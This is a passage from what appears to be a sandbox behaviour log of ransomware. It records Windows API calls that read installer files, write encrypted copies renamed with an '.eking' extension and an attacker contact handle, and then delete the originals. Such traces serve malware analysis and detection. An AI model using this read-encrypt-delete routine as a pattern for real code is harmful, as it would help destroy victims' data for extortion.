"c:\\588bce7c90097ed212\\1043\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0082.805] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x36ff9a0 | out: lpFileSize=0x36ff9a0*=3546) returned 1 [0082.805] CloseHandle (hObject=0x310) returned 1 [0082.805] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1043\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1043\\eula.rtf")) returned 0x80 [0082.806] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1043\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1043\\eula.rtf")) returned 0x80 [0082.806] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1043\\eula.rtf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\1043\\eula.rtf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0082.806] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1043\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1043\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0082.806] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36ff968 | out: lpNewFilePointer=0x0) returned 1 [0082.806] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36ff968 | out: lpNewFilePointer=0x0) returned 1 [0082.806] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1043\\eula.rtf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\1043\\eula.rtf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x324 [0082.816] ReadFile (in: hFile=0x310, lpBuffer=0x3baf020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x36ff974, lpOverlapped=0x0 | out: lpBuffer=0x3baf020*, lpNumberOfBytesRead=0x36ff974*=0xdda, lpOverlapped=0x0) returned 1 [0082.821] WriteFile (in: hFile=0x324, lpBuffer=0x3baf020*, nNumberOfBytesToWrite=0xde0, lpNumberOfBytesWritten=0x36ff958, lpOverlapped=0x0 | out: lpBuffer=0x3baf020*, lpNumberOfBytesWritten=0x36ff958*=0xde0, lpOverlapped=0x0) returned 1 [0082.822] WriteFile (in: hFile=0x324, lpBuffer=0x3baf020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x36ff958, lpOverlapped=0x0 | out: lpBuffer=0x3baf020*, lpNumberOfBytesWritten=0x36ff958*=0xf2, lpOverlapped=0x0) returned 1 [0082.823] CloseHandle (hObject=0x310) returned 1 [0082.823] CloseHandle (hObject=0x324) returned 1 [0082.829] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1043\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1043\\eula.rtf")) returned 1 [0082.830] SetEvent (hEvent=0x2cc) returned 1 [0082.831] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1043\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1043\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0082.843] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x36ff9a0 | out: lpFileSize=0x36ff9a0*=19288) returned 1 [0082.843] CloseHandle (hObject=0x324) returned 1 [0082.844] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1043\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1043\\setupresources.dll")) returned 0x80 [0082.844] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1043\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1043\\setupresources.dll")) returned 0x80 [0082.844] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1043\\SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\1043\\setupresources.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0082.844] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1043\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1043\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0082.844] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36ff968 | out: lpNewFilePointer=0x0) returned 1 [0082.844] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36ff968 | out: lpNewFilePointer=0x0) returned 1 [0082.844] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1043\\SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\1043\\setupresources.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x310 [0082.845] ReadFile (in: hFile=0x324, lpBuffer=0x3baf020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x36ff974, lpOverlapped=0x0 | out: lpBuffer=0x3baf020*, lpNumberOfBytesRead=0x36ff974*=0x4b58, lpOverlapped=0x0) returned 1 [0082.868] WriteFile (in: hFile=0x310, lpBuffer=0x3baf020*, nNumberOfBytesToWrite=0x4b60, lpNumberOfBytesWritten=0x36ff958, lpOverlapped=0x0 | out: lpBuffer=0x3baf020*, lpNumberOfBytesWritten=0x36ff958*=0x4b60, lpOverlapped=0x0) returned 1 [0082.881] WriteFile (in: hFile=0x310, lpBuffer=0x3baf020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x36ff958, lpOverlapped=0x0 | out: lpBuffer=0x3baf020*, lpNumberOfBytesWritten=0x36ff958*=0x102, lpOverlapped=0x0) returned 1 [0082.881] CloseHandle (hObject=0x324) returned 1 [0082.881] CloseHandle (hObject=0x310) returned 1 [0082.883] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1043\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1043\\setupresources.dll")) returned 1 [0082.885] SetEvent (hEvent=0x2cc) returned 1 [0082.885] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1044\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0082.886] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x36ff9a0 | out: lpFileSize=0x36ff9a0*=79296) returned 1 [0082.886] CloseHandle (hObject=0x310) returned 1 [0082.886] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1044\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml")) returned 0x80 [0082.886] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1044\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml")) returned 0x80 [0082.886] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1044\\LocalizedData.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0082.886] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1044\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0082.886] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36ff968 | out: lpNewFilePointer=0x0) returned 1 [0082.886] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36ff968 | out: lpNewFilePointer=0x0) returned 1 [0082.886] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1044\\LocalizedData.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x324 [0082.887] ReadFile (in: hFile=0x310, lpBuffer=0x3baf020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x36ff974, lpOverlapped=0x0 | out: lpBuffer=0x3baf020*, lpNumberOfBytesRead=0x36ff974*=0x135c0, lpOverlapped=0x0) returned 1 [0082.895] WriteFile (in: hFile=0x324, lpBuffer=0x3baf020*, nNumberOfBytesToWrite=0x135d0, lpNumberOfBytesWritten=0x36ff958, lpOverlapped=0x0 | out: lpBuffer=0x3baf020*, lpNumberOfBytesWritten=0x36ff958*=0x135d0, lpOverlapped=0x0) returned 1 [0082.897] WriteFile (in: hFile=0x324, lpBuffer=0x3baf020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x36ff958, lpOverlapped=0x0 | out: lpBuffer=0x3baf020*, lpNumberOfBytesWritten=0x36ff958*=0x102, lpOverlapped=0x0) returned 1 [0082.897] CloseHandle (hObject=0x310) returned 1 [0082.897] CloseHandle (hObject=0x324) returned 1 [0082.900] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1044\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml")) returned 1 [0082.902] SetEvent (hEvent=0x2cc) returned 1 [0082.902] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1044\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1044\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0082.903] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x36ff9a0 | out: lpFileSize=0x36ff9a0*=17752) returned 1 [0082.903] CloseHandle (hObject=0x324) returned 1 [0082.903] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1044\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1044\\setupresources.dll")) returned 0x80 [0082.903] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1044\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1044\\setupresources.dll")) returned 0x80 [0082.903] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1044\\SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\1044\\setupresources.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0082.903] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1044\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1044\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0082.903] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36ff968 | out: lpNewFilePointer=0x0) returned 1 [0082.903] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36ff968 | out: lpNewFilePointer=0x0) returned 1 [0082.903] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1044\\SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\1044\\setupresources.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x310 [0082.903] ReadFile (in: hFile=0x324, lpBuffer=0x3baf020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x36ff974, lpOverlapped=0x0 | out: lpBuffer=0x3baf020*, lpNumberOfBytesRead=0x36ff974*=0x4558, lpOverlapped=0x0) returned 1 [0082.912] WriteFile (in: hFile=0x310, lpBuffer=0x3baf020*, nNumberOfBytesToWrite=0x4560, lpNumberOfBytesWritten=0x36ff958, lpOverlapped=0x0 | out: lpBuffer=0x3baf020*, lpNumberOfBytesWritten=0x36ff958*=0x4560, lpOverlapped=0x0) returned 1 [0082.914] WriteFile (in: hFile=0x310, lpBuffer=0x3baf020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x36ff958, lpOverlapped=0x0 | out: lpBuffer=0x3baf020*, lpNumberOfBytesWritten=0x36ff958*=0x102, lpOverlapped=0x0) returned 1 [0082.914] CloseHandle (hObject=0x324) returned 1 [0082.914] CloseHandle (hObject=0x310) returned 1 [0083.246] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1044\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1044\\setupresources.dll")) returned 1 [0083.247] SetEvent (hEvent=0x2cc) returned 1 [0083.249] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1046\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1046\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0083.250] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x36ff9a0 | out: lpFileSize=0x36ff9a0*=3683) returned 1 [0083.250] CloseHandle (hObject=0x31c) returned 1 [0083.250] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1046\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1046\\eula.rtf")) returned 0x80 [0083.250] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1046\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1046\\eula.rtf")) returned 0x80 [0083.250] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1046\\eula.rtf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\1046\\eula.rtf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0083.250] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1046\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1046\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0083.250] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36ff968 | out: lpNewFilePointer=0x0) returned 1 [0083.250] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36ff968 | out: lpNewFilePointer=0x0) returned 1 [0083.251] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1046\\eula.rtf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\1046\\eula.rtf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x324 [0083.254] ReadFile (in: hFile=0x31c, lpBuffer=0x3baf020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x36ff974, lpOverlapped=0x0 | out: lpBuffer=0x3baf020*, lpNumberOfBytesRead=0x36ff974*=0xe63, lpOverlapped=0x0) returned 1 [0083.256] WriteFile (in: hFile=0x324, lpBuffer=0x3baf020*, nNumberOfBytesToWrite=0xe70, lpNumberOfBytesWritten=0x36ff958, lpOverlapped=0x0 | out: lpBuffer=0x3baf020*, lpNumberOfBytesWritten=0x36ff958*=0xe70, lpOverlapped=0x0) returned 1 [0083.258] WriteFile (in: hFile=0x324, lpBuffer=0x3baf020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x36ff958, lpOverlapped=0x0 | out: lpBuffer=0x3baf020*, lpNumberOfBytesWritten=0x36ff958*=0xf2, lpOverlapped=0x0) returned 1 [0083.258] CloseHandle (hObject=0x31c) returned 1 [0083.258] CloseHandle (hObject=0x324) returned 1 [0083.261] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1046\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1046\\eula.rtf")) returned 1 [0083.262] SetEvent (hEvent=0x2cc) returned 1 [0083.262] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1046\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0083.263] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x36ff9a0 | out: lpFileSize=0x36ff9a0*=80738) returned 1 [0083.263] CloseHandle (hObject=0x324) returned 1 [0083.263] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1046\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml")) returned 0x80 [0083.263] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1046\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml")) returned 0x80 [0083.263] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1046\\LocalizedData.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0083.263] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1046\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0083.263] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36ff968 | out: lpNewFilePointer=0x0) returned 1 [0083.263] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36ff968 | out: lpNewFilePointer=0x0) returned 1 [0083.263] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1046\\LocalizedData.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x31c [0083.264] ReadFile (in: hFile=0x324, lpBuffer=0x3baf020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x36ff974, lpOverlapped=0x0 | out: lpBuffer=0x3baf020*, lpNumberOfBytesRead=0x36ff974*=0x13b62, lpOverlapped=0x0) returned 1 [0083.268] WriteFile (in: hFile=0x31c, lpBuffer=0x3baf020*, nNumberOfBytesToWrite=0x13b70, lpNumberOfBytesWritten=0x36ff958, lpOverlapped=0x0 | out: lpBuffer=0x3baf020*, lpNumberOfBytesWritten=0x36ff958*=0x13b70, lpOverlapped=0x0) returned 1 [0083.271] WriteFile (in: hFile=0x31c, lpBuffer=0x3baf020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x36ff958, lpOverlapped=0x0 | out: lpBuffer=0x3baf020*, lpNumberOfBytesWritten=0x36ff958*=0x102, lpOverlapped=0x0) returned 1 [0083.271] CloseHandle (hObject=0x324) returned 1 [0083.271] CloseHandle (hObject=0x31c) returned 1 [0083.274] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1046\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml")) returned 1 [0083.276] SetEvent (hEvent=0x2cc) returned 1 [0083.276] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1046\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1046\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0083.276] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x36ff9a0 | out: lpFileSize=0x36ff9a0*=18264) returned 1 [0083.277] CloseHandle (hObject=0x31c) returned 1 [0083.277] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1046\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1046\\setupresources.dll")) returned 0x80 [0083.277] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1046\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1046\\setupresources.dll")) returned 0x80 [0083.277] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1046\\SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\1046\\setupresources.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0083.277] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1046\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1046\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0083.277] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36ff968 | out: lpNewFilePointer=0x0) returned 1 [0083.277] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36ff968 | out: lpNewFilePointer=0x0) returned 1 [0083.277] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1046\\SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\1046\\setupresources.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x324 [0083.278] ReadFile (in: hFile=0x31c, lpBuffer=0x3baf020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x36ff974, lpOverlapped=0x0 | out: lpBuffer=0x3baf020*, lpNumberOfBytesRead=0x36ff974*=0x4758, lpOverlapped=0x0) returned 1 [0083.535] WriteFile (in: hFile=0x324, lpBuffer=0x3baf020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x36ff958, lpOverlapped=0x0 | out: lpBuffer=0x3baf020*, lpNumberOfBytesWritten=0x36ff958*=0x4760, lpOverlapped=0x0) returned 1 [0083.536] WriteFile (in: hFile=0x324, lpBuffer=0x3baf020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x36ff958, lpOverlapped=0x0 | out: lpBuffer=0x3baf020*, lpNumberOfBytesWritten=0x36ff958*=0x102, lpOverlapped=0x0) returned 1 [0083.536] CloseHandle (hObject=0x31c) returned 1 [0083.537] CloseHandle (hObject=0x324) returned 1 [0083.538] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1046\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1046\\setupresources.dll")) returned 1 [0083.540] SetEvent (hEvent=0x2cc) returned 1 [0083.540] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1049\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0083.540] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x36ff9a0 | out: lpFileSize=0x36ff9a0*=81482) returned 1 [0083.540] CloseHandle (hObject=0x324) returned 1 [0083.540] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1049\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml")) returned 0x80 [0083.540] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1049\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml")) returned 0x80 [0083.541] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1049\\LocalizedData.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0083.541] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1049\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0083.541] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36ff968 | out: lpNewFilePointer=0x0) returned 1 [0083.541] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36ff968 | out: lpNewFilePointer=0x0) returned 1 [0083.541] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1049\\LocalizedData.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x31c [0083.541] ReadFile (in: hFile=0x324, lpBuffer=0x3baf020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x36ff974, lpOverlapped=0x0 | out: lpBuffer=0x3baf020*, lpNumberOfBytesRead=0x36ff974*=0x13e4a, lpOverlapped=0x0) returned 1 [0083.557] WriteFile (in: hFile=0x31c, lpBuffer=0x3baf020*, nNumberOfBytesToWrite=0x13e50, lpNumberOfBytesWritten=0x36ff958, lpOverlapped=0x0 | out: lpBuffer=0x3baf020*, lpNumberOfBytesWritten=0x36ff958*=0x13e50, lpOverlapped=0x0) returned 1 [0083.560] WriteFile (in: hFile=0x31c, lpBuffer=0x3baf020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x36ff958, lpOverlapped=0x0 | out: lpBuffer=0x3baf020*, lpNumberOfBytesWritten=0x36ff958*=0x102, lpOverlapped=0x0) returned 1 [0083.560] CloseHandle (hObject=0x324) returned 1 [0083.560] CloseHandle (hObject=0x31c) returned 1 [0083.563] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1049\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml")) returned 1 [0083.565] SetEvent (hEvent=0x2cc) returned 1 [0083.566] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1053\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1053\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, 